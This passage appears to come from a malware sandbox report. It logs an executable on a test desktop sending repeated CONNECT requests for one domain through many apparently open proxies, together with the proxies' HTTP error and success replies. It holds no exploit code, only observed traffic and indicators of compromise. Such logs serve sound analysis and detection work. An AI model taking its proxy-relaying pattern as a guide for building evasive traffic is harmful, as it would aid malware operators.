Feb 23, 2024 09:45:49.881201029 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:01.881155968 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:13.959384918 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1207	192.168.2.4	53505	49.51.93.222	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.711719036 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1208	192.168.2.4	53507	49.51.93.222	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.712727070 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1209	192.168.2.4	53511	49.51.93.222	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.713579893 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1210	192.168.2.4	53512	49.51.93.222	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.714421988 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1211	192.168.2.4	53415	8.217.187.52	24002	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.732428074 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1212	192.168.2.4	53357	124.163.236.54	7302	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.760025024 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.220400095 CET	90	IN	HTTP/1.1 200 OK Content-Type: application/json Connection: close Content-Length: 55

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1213	192.168.2.4	52621	139.99.35.213	1180	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.763333082 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.834628105 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.834829092 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:37.859005928 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1214	192.168.2.4	53263	184.170.249.65	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.765620947 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1215	192.168.2.4	53436	68.71.249.153	48606	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.775902987 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1216	192.168.2.4	53539	172.67.181.144	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.821630001 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.909096003 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:25 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1217	192.168.2.4	52697	192.99.37.195	38539	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.824980021 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1218	192.168.2.4	53419	103.216.49.151	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.829035044 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1219	192.168.2.4	52632	103.174.236.77	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.830722094 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.699261904 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1220	192.168.2.4	53450	141.94.174.6	50470	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.835159063 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1221	192.168.2.4	53475	94.142.137.203	9741	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.851910114 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.443766117 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.129618883 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.219358921 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.241034031 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.753145933 CET	132	IN	HTTP/1.1 503 Too many open connections Content-Type: text/plain Connection: close Data Raw: 4d 61 78 69 6d 75 6d 20 6e 75 6d 62 65 72 20 6f 66 20 6f 70 65 6e 20 63 6f 6e 6e 65 63 74 69 6f 6e 73 20 72 65 61 63 68 65 64 2e 0d 0a Data Ascii: Maximum number of open connections reached.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1222	192.168.2.4	52681	162.240.21.140	46395	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.854836941 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.865812063 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.866116047 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:37.866017103 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:49.881292105 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:01.881182909 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:13.959315062 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1223	192.168.2.4	53455	46.101.186.238	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.857095957 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.031482935 CET	831	IN	HTTP/1.1 500 Internal Server Error Date: Fri, 23 Feb 2024 08:45:25 GMT Server: Apache/2.4.29 (Ubuntu) Content-Length: 639 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 77 65 62 6d 61 73 74 65 72 40 6c 6f 63 61 6c 68 6f 73 74 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at webmaster@localhost to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at heygirlisheeverythingyouwantedinaman.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1224	192.168.2.4	53402	220.194.189.144	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.857716084 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:56.341933966 CET	317	IN	HTTP/1.1 502 Bad Gateway Server: ZZY_WEB/20.08.18 Date: Fri, 23 Feb 2024 09:08:27 GMT Content-Type: text/html Content-Length: 161 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 5a 5a 59 5f 57 45 42 2f 32 30 2e 30 38 2e 31 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><center><h1>502 Bad Gateway</h1></center><hr><center>ZZY_WEB/20.08.18</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1225	192.168.2.4	53482	92.205.61.38	29249	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.863054991 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1226	192.168.2.4	53500	146.190.35.63	8000	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.864211082 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.031356096 CET	19	IN	HTTP/1.0 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1227	192.168.2.4	53426	139.59.99.83	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.866786003 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.207118034 CET	891	IN	HTTP/1.1 400 Bad Request content-type: text/html cache-control: private, no-cache, max-age=0 pragma: no-cache content-length: 679 date: Fri, 23 Feb 2024 08:45:26 GMT server: LiteSpeed connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 30 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 42 61 64 20 52 65 71 75 65 73 74 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 49 74 20 69 73 20 6e 6f 74 20 61 20 76 61 6c 69 64 20 72 65 71 75 65 73 74 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"><title> 400 Bad Request</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">400</h1><h2 style="margin-top:20px;font-size: 30px;">Bad Request</h2><p>It is not a valid request!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1228	192.168.2.4	53443	94.247.241.70	53640	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.878334999 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.443878889 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:37.825408936 CET	202	IN	HTTP/1.0 404 Not Found Content-Length: 817 Content-Type: text/html Date: Tue, 23 Jan 2024 09:52:14 GMT Expires: Tue, 23 Jan 2024 09:52:14 GMT Server: Mikrotik HttpProxy Proxy-Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1229	192.168.2.4	52717	51.89.173.40	44719	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.878464937 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.943942070 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1230	192.168.2.4	53541	47.179.5.8	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.936636925 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1231	192.168.2.4	53600	172.67.182.78	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.936821938 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.025552988 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:25 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1232	192.168.2.4	53606	104.27.8.161	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.937484026 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.025578022 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:25 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1233	192.168.2.4	53616	104.21.218.103	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.937947989 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.025648117 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:25 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1234	192.168.2.4	52691	194.8.232.46	4153	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
